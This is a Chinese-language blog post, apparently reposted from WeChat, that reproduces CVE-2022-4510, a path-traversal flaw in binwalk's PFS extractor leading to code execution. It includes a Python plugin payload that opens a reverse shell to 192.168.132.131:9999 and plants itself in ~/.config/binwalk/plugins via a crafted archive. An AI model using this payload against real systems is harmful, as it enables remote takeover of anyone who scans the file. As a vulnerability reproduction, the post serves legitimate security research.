binwalk路径穿越CVE-2022-4510

admin 2023年2月7日12:29:39评论70 views字数 1059阅读3分31秒阅读模式
binwalk路径穿越CVE-2022-4510
前两天在玄武实验室的日推里看到的,复现一下


简介


在 binwalk 中有一个提取 PFS 文件的插件,一般在嵌入式设备中涉及这种文件格式,但是它在提取文件的时候,路径取的有问题,会导致路径穿越,把文件写到任意的地方


效果


配合 binwalk 可以在 ~/.config/binwalk/plugins 目录自定义插件运行的特性,通过路径穿越把 python 脚本写在这里,基本能执行任意的命令(毕竟 python 可以 os.system)


局限



因为不知道目标的目录结构,可能没法准确的放到那个目录,可以考虑其他利用方式,参考文章有提到


影响范围


2.1.2b 到 2.3.3
binwalk路径穿越CVE-2022-4510


复现过程


在官方仓库的 release 界面找到一个在漏洞范围内的下载下来,比如 2.3.3,然后解压出来放在一台 ubuntu 上,进入目录,python setup.py install 安装一下,poc 这里有:
https://github.com/ReFirmLabs/binwalk/pull/617
在 ~ 目录下使用 binwalk -Me poc.zip 看一下是不是有效果
binwalk路径穿越CVE-2022-4510
接下来看一下 POC 是怎么构成的,压缩包里面有个 pfs 文件
binwalk路径穿越CVE-2022-4510
直接解压出来看看,前面是文件头加路径,后面是文件内容,经过尝试文件内容前面的 C1 就是文件内容长度
binwalk路径穿越CVE-2022-4510
接下来保持前面不变,我们自己写个 python 脚本放在 PFS 文件中,并且把长度改一下,然后保存成一个压缩包
import binwalk.core.pluginimport socket,subprocess,os,ptyclass MaliciousExtractor(binwalk.core.plugin.Plugin): def init(self): s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.132.131",9999)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) pty.spawn("sh")
binwalk路径穿越CVE-2022-4510

binwalk路径穿越CVE-2022-4510

binwalk -Me malicious.zip 然后 RCE!
binwalk路径穿越CVE-2022-4510

参考:
https://github.com/ReFirmLabs/binwalk/pull/617https://onekey.com/blog/security-advisory-remote-command-execution-in-binwalk/

原文始发于微信公众号(陈冠男的游戏人生):binwalk路径穿越CVE-2022-4510

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月7日12:29:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   binwalk路径穿越CVE-2022-4510http://cn-sec.com/archives/1540116.html

发表评论

匿名网友 填写信息